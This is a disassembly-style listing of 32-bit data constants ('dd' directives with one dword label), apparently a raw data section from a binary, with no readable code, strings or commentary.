dd 0EF798E7Ah, 0E47FF1ABh, 77A4905h, 181EAEC0h, 0CB29698Dh
dd 0A0F0C084h, 53515B05h, 0F5BAF388h, 1C0FFCD7h, 0FA114CA1h
dd 1F09D65Ah, 5F052B47h, 805B4C2h, 85DAF25Dh, 0B221315Ch
dd 6800B355h, 65C509EBh, 728A939Bh, 0A3CFFC5Ah, 2AE80557h
dd 8565F00Dh, 596BA0A7h, 8F6040B2h, 35CD81B5h, 733F265Fh
dd 0AFFE69BCh, 0FEB2E0Ch, 4913FCE3h, 0BD895256h, 0AB5239A4h
dd 148BFA61h, 0F53CA83Bh, 0D60567BFh, 0C7382337h, 87B7E25h
dd 0EED32C2Fh, 437CB55Dh, 0B708C556h, 5604AF32h, 30EB8B0Ch
dd 750F696Eh, 79FC794Fh, 8612470Eh, 0C9C9FE52h, 129F6F0h
dd 0F5D247Ah, 3FCEA88Dh, 0A00780D2h, 8BC5887Fh, 805B00C7h
dd 870FF5CDh, 0DA93FE26h, 0D556EEB4h, 0A32F01AEh, 7E2F2D0Eh
dd 4F4033F1h, 5F18F0EEh, 0C2A3E404h, 0AF8D654h, 0BF27714Bh
dd 0F603A382h, 0B68A62FEh, 0C193DB23h, 7D3F1A7Ch, 9E383A25h
dd 0E61730E9h, 0BB32F3FFh, 0C0A41025h, 0B7EF41BBh, 0AFA5C271h
dd 2FD8A681h, 0ECDD5C81h, 0EB0F3525h, 59053FA7h, 0DD2074E6h
dd 386897AAh, 0F40943CBh, 0D95D5A37h, 9B09EB5Ch, 6F04E769h
dd 0A3B58BB8h, 68E9122Fh, 0EE0506B2h, 0BE096E05h, 0E9E156DDh
dd 0C479FC3Fh, 0BDF9C821h, 0AEDCA485h, 9944A69Ah, 103E6062h
dd 580C2FBFh, 0FB894D09h, 1404575Fh, 0B88DD0F5h, 0F30B6511h
dd 87C5017Fh, 35F2CD17h, 98A55AE5h, 52A09537h, 6AD9F0C2h
dd 0ABA8105Fh, 8759884Fh, 58AF7D12h, 563E5501h, 0C827446h
dd 2FA860F2h, 800DD0F7h, 6573E908h, 0EB5D64F0h, 4D48AEE6h
dd 0A45FD613h, 341317Bh, 85BFBD3Fh, 0ADF27935h, 0CEF68B8Eh
dd 10B64D77h, 8001B0FDh, 0B75367E2h, 6532ED7Bh, 0EEC28223h
dd 87DF5FD3h, 23E5F58Ah, 0F26697D2h, 12172610h, 3E092052h
dd 95798702h, 18F9580Eh, 59E90844h, 9E5F9621h, 0AAE93F42h
dd 0F1B78AA3h, 4DFB6064h, 460C732Fh, 4A01EAE9h, 366A00B8h
dd 3E2D1F51h, 1000B772h, 0B784B0Dh, 2C923565h, 92E6CB2h
dd 7451C484h, 3A3244Bh, 0D12185B1h, 16D6E67Fh, 1DBB1886h
dd 34F79825h, 4295C361h, 9DF400Eh, 344F2478h, 6F4D04CCh
dd 4982AE76h, 0B88954E6h, 0F63853B0h, 0D44C88D2h, 0D0EE17EDh
dd 0F25BF84Eh, 1C585FB9h, 0F0B4B15Fh, 0B03F5053h, 0E24EAF34h
dd 0AECD7D23h, 0FA56E904h, 0E3D68AF8h, 0C0F25A66h, 2531D01Ch
dd 973D71FBh, 278DD6A1h, 97A967E4h, 0D9A743DBh, 18E9E171h
dd 62DA57C1h, 0BBF77799h, 504104B2h, 0BB089068h, 9B92CF37h
dd 533EA313h, 342ED052h, 0C21E5EA7h, 29F1C7CEh, 5D3309Eh
dd 3EDCF00h, 4A13880Fh, 92EDA6E2h, 0EB463F04h, 413110C2h
dd 9B3889F0h, 2B5F6818h
dword_5267F4 dd 7A9559CFh, 3A1E0238h, 0DBE93F13h, 0ABD71A50h, 0BC8465BCh
dd 73762988h, 2A4AAB10h, 9A25BB31h, 0E923D4F9h, 0E950F476h
dd 7D8095A8h, 15D4ABEh, 0FF536D24h, 0F62DBC0Bh, 0A512515Fh
dd 0E6857089h, 39CA036Fh, 0EBBD555Bh, 0AE6141DAh, 2E0735EEh
dd 2B12DF3h, 14659353h, 6B686A80h, 4CAA4C50h, 26875F10h
dd 0FA00874Ah, 0B8DE34BAh, 0BD04050Fh, 0CED0290Bh, 0CCEB032Fh
dd 5114F7Eh, 0E577F30Ch, 5350AB51h, 140C6808h, 0CB795814h
dd 5C1641C9h, 2DE1283Ah, 216EE91Ch, 5F80145h, 9DA80716h
dd 0E55D50A2h, 0E9AF1831h, 0E61CC181h, 9ABD4136h, 0DF336F85h
dd 97037A70h, 8101B53Ch, 0AC73D8E1h, 4941240Dh, 30140B33h
dd 3F0C909h, 13530507h, 945176BDh, 0DFCAFB6Fh, 3A073988h
dd 9D5911D0h, 109FFECEh, 0B5EA2767h, 9258EAA8h, 2F1EF115h
dd 9B110F0h, 2E1C0FAh, 0CA16C605h, 0F6924EE7h, 9D440277h
dd 0A0AAA8A4h, 5AB54E84h, 7D4C3861h, 8634FA4Fh, 68DB30FFh
dd 0B4134DC6h, 89045A7Ch, 64ACCF6Bh, 4BA5523Bh, 9FC79DE8h
dd 65AF5318h, 0B3B7B0Ch, 0FD5D1FEAh, 0AF169A8Eh, 4E65F74h
dd 0AC6EE616h, 0F5A68936h, 5573C089h, 0FD68364Ch, 0BD7B2C3Eh
dd 0A8335901h, 2B1AE944h, 0D03A457Bh, 0D99DFFDAh, 0E104E56Eh
dd 6D22BC9h, 72C2DD72h, 3AD75714h, 8FC465F2h, 0A4CFA83Ah
dd 2D63982h, 9561D131h, 36860537h, 0EC4D4EE3h, 0EFF51C98h
dd 5DE7D5Ch, 82FA214Bh, 822DE81Fh, 0A07BE907h, 0EA815FD5h
dd 0D94C1FA4h, 3DA0C6Fh, 5C0BBDE5h, 0F824F338h, 122D9851h
dd 0AA52EB7Ch, 91C7A302h, 31E375DDh, 6DE4401h, 0ACE943F4h
dd 0EEB8F380h, 56208875h, 8A16BE00h, 46E9DF77h, 0CAC3A801h
dd 5E787D1Fh, 47A8B07Dh, 0EF55404h, 2CBD531h, 0B2E98861h
dd 111D7945h, 0EF3E5962h, 0A4FEE096h, 0C80761DDh, 0DD896588h
dd 10E86FD4h, 5808BC5Eh, 0EE3E73B0h, 47619B2Ch, 10D9D88Dh
dd 0C506B7Eh, 66B09072h, 5B9C24B7h, 0CEC698ABh, 0B042FA40h
dd 0F99A6BD8h, 0BFF29D40h, 621F4512h, 915810AEh, 8D8FAC04h
dd 94E7BB9Dh, 0C84E6948h, 0CD60DE90h, 63A4BA0Ah, 0F51A5F80h
dd 1604CCB2h, 504BE530h, 5B2DC049h, 4C26F88Ah, 918684D2h
dd 7922BF0Eh, 64F71EBDh, 4A600E15h, 0E7C3099Ah, 358A6CC0h
dd 0B6301157h, 0FE1D34FCh, 0CB3709F7h, 40FF744Fh, 0B92B83EFh
dd 312DBC10h, 4B7CA489h, 9441BE82h, 0C5F7DC6Dh, 0B9DE40C2h
dd 737754BBh, 570901BEh, 0C1C76ABFh, 303E433Eh, 0C777F4AEh
dd 0FAE495Bh, 290A8E36h, 0DB088B8Eh, 50833932h, 972533F5h
dd 0AD0BFC12h, 2B628271h, 0F6350051h, 0E27AABFFh, 33F3B35Fh
dd 825EA558h, 0E27D5F09h, 44727307h, 0CAEE1683h, 4E45BFBh
dd 5F17E68h, 0F9E953A1h, 8942FA18h, 646A4216h, 0C23E4E17h
dd 9B7B5DF1h, 2E665343h, 9FF87E90h, 0BF4F308Dh, 48619B36h
dd 0AB1E8F9Ah, 0E049A06Bh, 37D15519h, 97C0AA54h, 6CE913B5h
dd 358629DBh, 84466DEDh, 0F243ABB2h, 77F2378Bh, 0CDE9C9E3h
dd 0FAF4F7B8h, 9757EC2Bh, 34CA7613h, 0CEB5AB85h, 4E78E662h
dd 74239CBFh, 730A0616h, 0E0074BAh, 98325F0Ch, 0C85A8526h
dd 0F91495CFh, 60075690h, 0B30E321Dh, 1626FD29h, 15082953h
dd 20681A7Fh, 0FC60DEDEh, 1B26AC2Fh, 335A60E9h, 0D74EF5D8h
dd 4921612Dh, 0F934D4CEh, 0F1222DE9h, 0B5CD9E1Bh, 450C8C29h
dd 13C28F2Ah, 0B83E3D61h, 0DE981622h, 8AF1BB34h, 0B37FE7E5h
dd 32C793Bh, 0D953D490h, 0E26E4A55h, 0B4C21E44h, 41658089h
dd 21285FA7h, 39D1FED3h, 0D011AA15h, 0DC567A10h, 5E9F7CFFh
dd 305B740h, 61CAC119h, 0D1E2C289h, 0F6EAC190h, 0EDEB6516h
dd 0CDD84FAFh, 67AF58C2h, 0E71509C1h, 0EBFD9883h, 0EA02B1F6h
dd 568618EBh, 640C7876h, 9FEE8366h, 0D390215Ah, 64D8CA97h
dd 2ADE2FFDh, 83290C94h, 8180A9BAh, 482D66F6h, 2DF6B36Eh
dd 7CB73EE6h, 0EDE94112h, 0C80524EEh, 7AF3FDEFh, 445B0AF2h
dd 0BD01140h, 2DDFFC01h, 0E98B8FC5h, 9D3044B4h, 0CE7AB2F6h
dd 1F492207h, 51B87EF5h, 8BDD6BB2h, 9556949Fh, 5C407B60h
dd 0E9484A04h, 20FEF8FFh, 29842DAEh, 4CA8C72Dh, 0F906C19Dh
dd 0A84D615Fh, 7D695DA5h, 95A9753Bh, 0DD803300h, 95A8B63h
dd 0ECA4ABD0h, 0BBDF5E35h, 0AAC60900h, 2CEB509Bh, 16B8F309h
dd 0C2FEB4BEh, 0C34A990Bh, 0E8EAD569h, 3FB2C5D5h, 0EB053B18h
dd 0DD821F0Ah, 0D4BF2ACCh, 8FE95854h, 80A8C052h, 0D5325C2Dh
dd 35DAB550h, 3409CB00h, 67E9420Eh, 0F633D8A2h, 0A43221DDh
dd 82F3AC37h, 682FE907h, 95515865h, 591C74F2h, 76EFEA88h
dd 0F12308B0h, 5AD00802h, 9F61D5C0h, 0EC533F6Eh, 2087A8C1h
dd 855A396h, 68064C6Dh, 26C330BCh, 52AF6CE8h, 0BA3C9061h
dd 9F0B6A21h, 48C8F32Dh, 6AE700C3h, 0FE010E7Fh, 882A390h
dd 28284B8Eh, 149E801Dh, 57644A09h, 0BB424794h, 0E9D82904h
dd 0B2E4B037h, 30286926h, 8F178016h, 0AF21C5EFh, 464470Bh
dd 31AAB9F0h, 40A7DDBBh, 7FCCBB8Fh, 0B0686028h, 13405D1Ch
dd 2C74E9C6h, 4A222EEBh, 0F878C40Dh, 0A094D85Ch, 3EED0364h
dd 730B8BBDh, 0BAF0E0E5h, 13AD3000h, 5DEA29AEh, 21E91357h
dd 5F2690BFh, 40508511h, 3D05AD94h, 0FB011D53h, 357FDE18h
dd 7D5A1616h, 60C0907h, 0D856B241h, 4DB69C17h, 91396A80h
dd 68352Ch, 2D7A664Bh, 332B628Dh, 95F00095h, 0BD1A5C07h
dd 2F5DBF89h, 57184990h, 5E9D3C1Ch, 86BE8B2Ah, 941A57Eh
dd 59205AD7h, 0B82EFEA1h, 7DC206E3h, 0C57B806h, 93659408h
dd 0D78A3947h, 13E79540h, 0D1584FCBh, 160ADCB4h, 17FB323Fh
dd 0D139AEBCh, 43BF6F9h, 0CB545118h, 10695851h, 0BD2D0509h
dd 0CC804171h, 297B5A3Bh, 69DEB7E9h, 0E9012674h, 4B202020h
dd 7F2BB65Dh, 4F5F0D48h, 0FFC167A2h, 30B95132h, 315C42EBh
dd 0FC6801Fh, 46292F9Ah, 590C404Ch, 7435C5A1h, 7195BDC0h
dd 0C66E0B38h, 908B96DEh, 4260F916h, 9877B521h, 28055C1Dh
dd 5F8D5B8Dh, 0B0A913D1h, 0FC59181Bh, 7C250194h, 0C78946C6h
dd 82085660h, 78A0B2C0h, 0F6AAB02h, 4884EE85h, 829AF8EFh
dd 13E4F7h, 0C42EDCB9h, 0F1814114h, 305EAF0Bh, 20D8DE52h
dd 3FD913A0h, 805782D0h, 0D7C1B19Bh, 0D1F5C260h, 44A95289h
dd 0C9C26EFCh, 62C15C18h, 5D02A5BCh, 4928D95Ah, 0F5EE96D5h
dd 0B8389205h, 446810FDh, 24015A06h, 928681EAh, 0C2500BCh
dd 9F454C29h, 1D017610h, 257CEF83h, 0C8DD0988h, 0B48FDD3Eh
dd 0CCE2802Ch, 0F3AA84Bh, 0CF7B8012h, 65D0D827h, 27E9410Ah
dd 3955D777h, 7FF2758Fh, 6B81DCB2h, 6ADE187Bh, 13976FB0h
dd 81168374h, 7FF84247h, 2AC06D5Dh, 105791Dh, 858D0D1h
dd 902597Dh, 61A24E60h, 25F61195h, 27545A97h, 5554361Ch
dd 8296CD58h, 0AFDF0162h, 0F2586462h, 0C93FBE9Dh, 5EA4FAC2h
dd 280EEC52h, 0C40F75EFh, 6499EBEEh, 815F6FC8h, 163B223h
dd 4AA31F8h, 0C8F49108h, 801427B6h, 332DC829h, 69DE0010h
dd 55685659h, 2F01FD5Fh, 71CE815Eh, 46E42B03h, 0E11335E9h
dd 0A9D4BB8Ch, 5D6972C2h, 599D6BB6h, 595626Bh, 0FD9F600h
dd 1B286389h, 8CC0C1FEh, 69B1FD7Ch, 0D55AA4B2h, 26CF08FBh
dd 3461BC43h, 9A6A48Ch, 0E22D6F28h, 0D27DC851h, 1F50BF94h
dd 473494F6h, 0B14C9552h, 1FF66BB2h, 36A0E9C2h, 256F0D5Ch
dd 57D0DC10h, 28E236Ah
dd 65A0353Bh, 126028A9h, 0B588536Bh, 2B018178h, 967E9EE9h
dd 8A9CA8Bh, 6827A711h, 3E5F476Eh, 4099BA56h, 20ED9548h
dd 2E9C5D39h, 0DAD2D42Dh, 7591CC5Dh, 0B920C043h, 78CC1217h
dd 6E18100h, 874C7432h, 0D7F728F9h, 0C8EF44F5h, 509AB7EEh
dd 45EF885Eh, 0ABA3D088h, 705640C8h, 0F006E1CCh, 8129E300h
dd 3E0C79F7h, 9EE4C134h, 3E8AB1D1h, 2CE93BA0h, 5132CC71h
dd 11C68052h, 0BA447E14h, 290BC615h, 9F4066CAh, 20779030h
dd 0FF8B295h, 60CB1556h, 91B8887Ah, 0F831142Eh, 0AF17AC5Fh
dd 4B42F63Dh, 0F18929E9h, 4B0DCC78h, 0F5D38F0Fh, 7CF61BF1h
dd 203A80D8h, 0EFB452CDh, 7DED8102h, 0FC7A2245h, 1B08A081h
dd 0DFF7D9E9h, 0EC46E1B7h, 5D8F4048h, 1440012Eh, 0DC1A17E4h
dd 0DB04BE6Bh, 0BF00CA84h, 13936D10h, 4AB750BFh, 1E52EAC1h
dd 0AB11CC22h, 9E87EBFh, 0BB8408E3h, 0FB1EC8C5h, 38C61607h
dd 52D2CE89h, 9F07521Bh, 0C405D700h, 729FDA06h, 689AA845h
dd 21364BA2h, 6048B461h, 0E44F8393h, 92FA4674h, 0A22A98A1h
dd 0DFE3AA09h, 0D0205296h, 0D99980D3h, 2C893002h, 6C9F930Ch
dd 2B89648h, 12545338h, 20C95E29h, 0FEE91208h, 1578ADDBh
dd 7850676Fh, 3B695B0Bh, 2098C40Bh, 8F903C0Eh, 1F7F9101h
dd 6850564Ah, 0E99F1DF8h, 0CAE71D3Bh, 99ACB5F2h, 2F0DBE5Bh
dd 8F642E0Bh, 0A25F0653h, 3DF504F7h, 8260D907h, 807F0CE9h
dd 0B6E94570h, 5E45C78Bh, 28BF3057h, 0CF4D8829h, 74B4C938h
dd 1D7525B3h, 0F668065Bh, 7B2D412Eh, 4A5C5CAh, 0BF35C468h
dd 257D03CBh, 0BE661EA4h, 9064304h, 4A042942h, 0F0550BB4h
dd 0D06C1F5Ch, 809C0C3Dh, 244ABAA9h, 2AB42121h, 1FBDC2Bh
dd 0F3B610B5h, 0EE318015h, 9B5B5D78h, 0C55F3A09h, 0AC5D8D83h
dd 7686601Fh, 58443B9Dh, 0EA31C867h, 50402F33h, 25B551B4h
dd 9627CFCh, 0D35D89EBh, 2E183DFEh, 466D3B27h, 88AB9BD6h
dd 785E42BDh, 98EFDC35h, 654AE9FBh, 0D058350Ah, 5A186D07h
dd 292D5F00h, 61CB3A42h, 705D014h, 0A1FA65Eh, 0EFE6BFE9h
dd 47BACF85h, 830FA781h, 0ED516C69h, 9F1588E0h, 81C4D18Fh
dd 10BAE3Fh, 5CC57C55h, 3DEEF131h, 0B8540585h, 7BFBD8BBh
dd 0A0584440h, 3E499CF3h, 0B171648h, 0F9B320F2h, 0DC7B52F6h
dd 5B0D222Dh, 4A7BA556h, 8D7A413Eh, 55069220h, 0E0AF0Eh
dd 48587FD1h, 0E28E100Fh, 0E3C44E4Dh, 2D18E9ECh, 890126DBh
dd 272BC548h, 0EEB15ACDh, 0FBC34A67h, 0BE82C32Dh, 7C571108h
dd 0F22EC8F5h, 506AE018h, 2C51D150h, 0B927705h, 0B5D635BCh
dd 85D4B063h, 458FE09h, 0C3FB7D1Eh, 6BD180C9h, 6AB361E9h
dd 7D87204Bh, 1AE0286Ah, 0BD81F5BCh, 148AFA78h, 0FA318B9Fh
dd 18E6424h, 60B685Bh, 61162789h, 0C4CF7E51h, 0F3EEECE7h
dd 398451F5h, 90EB0368h, 0D917732Ah, 2AADAE66h, 0EEC17763h
dd 0CAE06449h, 718F2D17h, 6CE110Ah, 3F7EEE01h, 0B921113Eh
dd 5A3D27CCh, 138B9403h, 0AE360C08h, 0D7042DB5h, 890672D9h
dd 50949AB8h, 24C6502Ch, 19E50519h, 0C247C287h, 11048493h
dd 0C407DFC9h, 0E87101AAh, 876DE23Ah, 0F942FC18h, 0F6BE5680h
dd 7D90043Ch, 0BEFEB0E9h, 7C7BFA44h, 28C560F8h, 890CA8E8h
dd 9D1EFF66h, 0CC3FB9B5h, 0D6DE7429h, 5E394BA7h, 96BB2FE5h
dd 49A20111h, 0B577CF13h, 4F01429Eh, 5D64ED7Eh, 0B83FB2F1h
dd 0CD77B168h, 7AE75A03h, 4A8C920Ch, 31A468E7h, 1F08E15h
dd 0AB30FA01h, 5002E939h, 401DE5D0h, 5DDE7C75h, 0B07ED14h
dd 0F1EE0158h, 96D549FCh, 0FD72028h, 0A32684E6h, 0B289E65Fh
dd 6A7E0009h, 2F59EA28h, 0AD92D388h, 0FFDE0C0h, 0D8E5D180h
dd 768D546h, 2F473618h, 264E2DEh, 0E92ED435h, 820F133Ch
dd 57757468h, 74B96C96h, 5C8B40AEh, 241572A5h, 81B5BB1Bh
dd 0A98C0FD9h, 0FBC78A38h, 0B08B9E69h, 427C1A1Bh, 0C376CCh
dd 68535F54h, 0EAA41CDBh, 9D8CEA4Eh, 0D8546450h, 2402FDBDh
dd 891DFA0Ah, 0CBACEB8Fh, 3B1D7853h, 0EC9CFC2Ch, 1A5F2FE5h
dd 0EF30578Fh, 782E7776h, 2601E33Fh, 476C9737h, 0C9C2D274h
dd 805787CDh, 193FAE8Ch, 22609F7Fh, 982F2D1Dh, 8388D409h
dd 26D013ACh, 11B690FFh, 0E9184D50h, 0BB823F1Ah, 0CE680045h
dd 0FEBD121h, 0B14E188Ah, 36A1E8ACh, 0C18801B9h, 443E2373h
dd 0CC8FB593h, 0DE41B401h, 276BF03Fh, 6E2707B6h, 0C32CBE45h
dd 0A039581h, 0AA5C65BDh, 6FCDC813h, 14DA2F2Ch, 310AA3FDh
dd 0C47220F0h, 3947680Eh, 6CEB1305h, 524F2F9Eh, 6257A6CCh
dd 0D396777Eh, 0B7B25807h, 961EC74h, 0D8E1523h, 5C434380h
dd 0E9130E60h, 0D2A4AC0Ch, 4B6D982Ch, 0C464AC9Dh, 0A7BAEC58h
dd 7E257C74h, 29D07A5Eh, 0DFCD10h, 0C5BFF381h, 0F0BDA9EBh
dd 1DE02FDh, 0CAE90861h, 0A73951FDh, 53DFF3E2h, 0A146EC11h
dd 836748E1h, 6B0C3E12h, 0DF92700h, 9B94785h, 2387308Ch
dd 0F1B1A2DDh, 24D6B149h, 0F461646Fh, 57137394h, 43AF6F40h
dd 7BC9E981h, 0F756220Bh, 0D53E181Ch, 6EB182D0h, 5CA28152h
dd 59283B5Eh, 1FD122Bh, 0F631EC68h, 98127F5Fh, 87D891FBh
dd 0A4D3D9DAh, 0A22CF108h, 172F0Bh, 52ECD733h, 46EB6A3h
dd 0AB32B223h, 0F07A1A06h, 9EF61EB7h, 92B0B63h, 0DE87AA7Ch
dd 0FD191149h, 0CDD96589h, 910F4DA8h, 2B07EF73h, 0C4B182D5h
dd 95530699h, 0AE4B5B24h, 0B189D302h, 42BD408Bh, 0A4C171Ch
dd 21300529h, 9CF92185h, 8B0F00C8h, 6195AA7Dh, 0AA0CBB1h
dd 90F09581h, 20F69100h, 62AABE6Eh, 0E98809D4h, 59E99BF2h
dd 81A9E1C3h, 20636841h, 1F2E4252h, 0F52DCE87h, 92CBFA17h
dd 0EAED202Ah, 41F66348h, 15481D17h, 49146323h, 0B2D8E057h
dd 25FE7CC3h, 0D948FA63h, 0E516EB90h, 430B5095h, 89965EDBh
dd 74C40942h, 0E8E9534Ah, 3CF76174h, 2E5D5F55h, 3E0001CBh
dd 0D6C565Ch, 0FD275DC5h, 174EF022h, 81468925h, 3EBD5588h
dd 0E381BD25h, 8004D932h, 106FDEAh, 0C41DD4B7h, 5BC2A01Dh
dd 52B5590Bh, 80358028h, 4CF682CDh, 0EC4ECFDDh, 0BF1E205Eh
dd 0FE354502h, 600D9ADFh, 0DED9AD99h, 34C0EE4Bh, 0FA58E106h
dd 0C508E808h, 74628FEh, 8ED0E305h, 0A08F6BC1h, 660235C8h
dd 0FC277F68h, 3FB683F3h, 84930204h, 0F00581A5h, 8197D32Ch
dd 0A7D12EE9h, 3ABA7099h, 4BA55080h, 9892C155h, 0D84FD42Ch
dd 0D92F6828h, 5A03E60Dh, 322BF1BDh, 0EF1C4DCh, 0BC261B8h
dd 0E3F75170h, 0FA0F91ABh, 1FE3A230h, 0A7EC3A0Dh, 4E0DF954h
dd 0B9FBCF87h, 0D0A8A8D3h, 0F212C3D5h, 42F3481Ch, 33D2E4F1h
dd 0B051483Fh, 9FB5ACE9h, 38880D51h, 1D73288Fh, 4BC9FE77h
dd 0F57BAF1h, 0DC66099h, 0F85AF528h, 0D07302C5h, 933DE9EDh
dd 0C829E068h, 98104CBFh, 64314FFFh, 686698C1h, 924B4926h
dd 0AA4750C3h, 7B25606Bh, 0EB2E1312h, 0C4C3EA29h, 77AFB130h
dd 0C6B70A6Bh, 0C10C3408h, 2A5642B5h, 0FA2217FAh, 7066D59Ch
dd 0A37BBD07h, 0E98607A1h, 0ECD10605h, 3F736BAEh, 59968BF7h
dd 5CA308BEh, 7302DB2Ch, 8437747Fh, 4A91B09Bh, 4CF7EA84h
dd 786BB479h, 273CBB0Ah, 5704B2D5h, 0E2DAD029h, 7208B025h
dd 0E7780B07h, 6E70DA57h, 0F7B089BFh, 0C6004396h, 72D36D82h
dd 0A92CE1E9h, 0E72CE5AAh, 0A08C53CCh, 5AF77E95h, 1E2FC81h
dd 2E50C9DDh, 0F52DA70Eh, 7E5E2586h, 0F4F5C72Ah, 0EE4DD647h
dd 2A166F22h, 142BBDDFh
dd 0F158AD68h, 0C47E00D3h, 0E9190C7Eh, 3602425Fh, 0AF62B368h
dd 0F96FA613h, 98CB5A6Bh, 0E64081C0h, 0F4D99759h, 7F9B2662h
dd 47244B5Bh, 5424B610h, 6C569D84h, 0AD701A0Ah, 0EA5B2885h
dd 0E90C7F8Ah, 9650BA54h, 0F9D0F739h, 0B5180F31h, 8C2E612Dh
dd 0BD9E4Fh, 0E00548CFh, 2FB82E31h, 5EB012E6h, 12B4C382h
dd 80D86C99h, 0BC29F2h, 2523D988h, 13E097FDh, 0A16DFA3Ch
dd 0C72E104Eh, 5CFC484h, 2DFBF788h, 0EF952062h, 639204F5h
dd 0B3955027h, 15A22C21h, 7B128553h, 0CDF33504h, 0E1603033h
dd 1EE5C288h, 0D368964Ch, 0C4F4D749h, 2F8F143Eh, 5AF207FEh
dd 0DA84A61Fh, 0C7E548A9h, 4BD5AA18h, 0F312E0EDh, 1FFE56D1h
dd 0EC8789E8h, 8878CC55h, 0B5987360h, 8BE9F6D6h, 501C5D11h
dd 4D4B7309h, 9D027D1Fh, 0E1209ED2h, 505131A5h, 0DF8EEC1Eh
dd 92F101AFh, 3139BE14h, 73ABCCCBh, 0BCB8FB4Bh, 1551E5A0h
dd 2F75623Ah, 26FF1B9h, 0EC5527EDh, 0C24FE3F7h, 590881C5h
dd 0E46BDDE9h, 4100C786h, 0B652EF28h, 16CEFEB2h, 0BCD0DEF6h
dd 4C1A2CE6h, 0B01D1410h, 77B1DF32h, 0B3CD73Bh, 30083DF6h
dd 2F96A05Eh, 39D478B2h, 16F11092h, 0B6A5768Bh, 788A2FD9h
dd 9C97D908h, 85F9EA53h, 60706494h, 0C0BDD601h, 503F80Fh
dd 0A709A68h, 56F5F96Eh, 0C4D9539Fh, 0AB94E8Fh, 601F9B49h
dd 1FF6E03h, 0D71192F9h, 0E9843145h, 0A92AFC2h, 0D27561CEh
dd 0D2C8EC7Bh, 0A41D1810h, 0D568A0BAh, 0D2562C5Eh, 6584F5B8h
dd 184214F7h, 0F32384FAh, 1C61704h, 0E080FFE7h, 2D17FEC2h
dd 0BAD61619h, 50B508A0h, 9DDC79AEh, 586CBA71h, 25C99671h
dd 0A75590B2h, 0E3ACD462h, 0D497691Dh, 6304C5Eh, 25EC3502h
dd 2F628B4Eh, 5A6892C8h, 0A18C0D4Fh, 89D529Bh, 2ADE231Ah
dd 96BCD756h, 0B298EB6Dh, 594217E6h, 793BBC26h, 5B040597h
dd 0E7CC88EAh, 98179Ah, 6C257676h, 9415C0Dh, 37F9CB9Fh
dd 0A4E25067h, 85CA54D1h, 0C7CC28EBh, 1E1C5F21h, 6DC3DFE3h
dd 614E05FDh, 2D0580ECh, 91C85A3Bh, 2BD5BBA0h, 462C69E3h
dd 0B6BD8137h, 3A62470Eh, 5EAB1B80h, 547F4832h, 7888A45Fh
dd 73C45B05h, 0CB09EF29h, 3D5F9B85h, 4C930E50h, 0D15F45A3h
dd 8431AB01h, 85042B7Ah, 232ED39h, 78DD0C19h, 0A6717B09h
dd 0AF70169h, 7F2108A0h, 4F3DBAECh, 5BF6946Bh, 8958B831h
dd 89121E3Ah, 0BB5D5F01h, 29360E8Fh, 1B6DA69h, 0B19E16Dh
dd 70A9E7Dh, 3876C940h, 48D13B2Fh, 2573A2E9h, 2A02D14h
dd 580248E3h, 58AE32BFh, 0DF080117h, 291EA360h, 0E910846Ch
dd 0B3EEEB53h, 21EF4AFDh, 195DAC5h, 1C202AB5h, 3B588117h
dd 750B3EEDh, 52446293h, 33D120B6h, 0BEB5E900h, 5A72F7B6h
dd 5A23BD32h, 9D4ADACBh, 0FE774782h, 91BC2DCAh, 0BD4AF490h
dd 0F4F7BDD2h, 123BEA7Eh, 1F83CA12h, 89BD7BB4h, 0F6C4FEFBh
dd 0FDB501CFh, 933FF8E9h, 6D523751h, 129EEDE0h, 0AF93A7A9h
dd 0FC2AAEF1h, 0EC8D4EE5h, 0D55FD2DBh, 6424D9C7h, 5589C42Ch
dd 6640855Bh, 597E8736h, 9BC9A30Eh, 0C2099D5Ah, 858B327Ch
dd 94810A76h, 243E4C5Bh, 445C82FFh, 896443E0h, 199EDD7Fh
dd 9D1D3480h, 90BA5257h, 516C09E8h, 8225429h, 6D778520h
dd 3077A593h, 85419E1Eh, 13FABF17h, 319EEBB4h, 0A7EF057Dh
dd 0ED3B6075h, 5E0840CEh, 212A2098h, 5C4A3EA3h, 424ED6BEh
dd 0CC7EB12Ch, 5BACC03Ch, 13008E53h, 26ACB9E9h, 0BF64AB4Ah
dd 0EFECABAh, 52C28852h, 0FA44D21Dh, 19A8B4E9h, 9ED35B27h
dd 1202786Ah, 7F49B365h, 6981A6Bh, 3009CE60h, 5A7243E9h
dd 3C4A3F4Fh, 16FA3DA7h, 259EA38h, 0C3E967E6h, 0A57E7198h
dd 0FC32F285h, 0B393CE04h, 0C9F828BFh, 0E710440Bh, 4CCC753Dh
dd 4A4ED503h, 0E9CD09AEh, 328EB118h, 7EF1AB5h, 0E284B816h
dd 6286056h, 106C1341h, 2A91C5Dh, 8920A221h, 2B1489E1h
dd 79BE8217h, 53F82A07h, 5526E1E6h, 0E2176454h, 0D19DC35h
dd 6FCCB328h, 0FE91613h, 0AE3DBA97h, 50886234h, 955BD8C7h
dd 0E29F56C6h, 0A9254115h, 0CA026801h, 868B3159h, 501EA3B7h
dd 80038A76h, 5046FA5h, 0A0B0986Ah, 1DB624F5h, 64E9AC58h
dd 2D7AFB3h, 91141216h, 0F9E85144h, 0BB62E36h, 0E5C1E0FBh
dd 1816BF2Bh, 84AA8D0Fh, 539CEE29h, 27369AB5h, 0D696EB8Bh
dd 40685200h, 0E9095C76h, 0B5C74E05h, 0CCB1303Dh, 6F60D9BFh
dd 44B67BA5h, 30457680h, 7643B5BAh, 0CECB0ACh, 2E41130h
dd 9FC0ED30h, 5B1EE0F7h, 0B30CC007h, 291F0144h, 2FF4F85Ch
dd 6F1477DCh, 6085906h, 1334472Fh, 0E8987BF1h, 54AB10A4h
dd 0F5685E25h, 5280E39Eh, 3FDDAC51h, 8498EDB7h, 81FDE1ACh
dd 91D57EF3h, 5F1332B3h, 0A298E256h, 26B9C05Ch, 0D4C1821Bh
dd 6BC03155h, 0D8AF3B17h, 713C9E9h, 660B2CC1h, 9F0253DDh
dd 0B0B6135Ch, 0AE1735CDh, 9305C158h, 42E16883h, 2598A76Bh
dd 0C47163EFh, 6CC70CC1h, 0FA35F8F4h, 42CA4A33h, 0FD8851EBh
dd 6B4FD279h, 586856EAh, 0D389FC01h, 0B62F6149h, 28A0532h
dd 0E2FA7741h, 0DFF71465h, 4C4E01CEh, 2DE90D74h, 1DB51C3Eh
dd 6CBECED0h, 95CAEE12h, 0BBB1257Eh, 0F90421E4h, 2922A52Bh
dd 0CEC189FFh, 40E2E938h, 0B70153BFh, 19EF8093h, 765DF828h
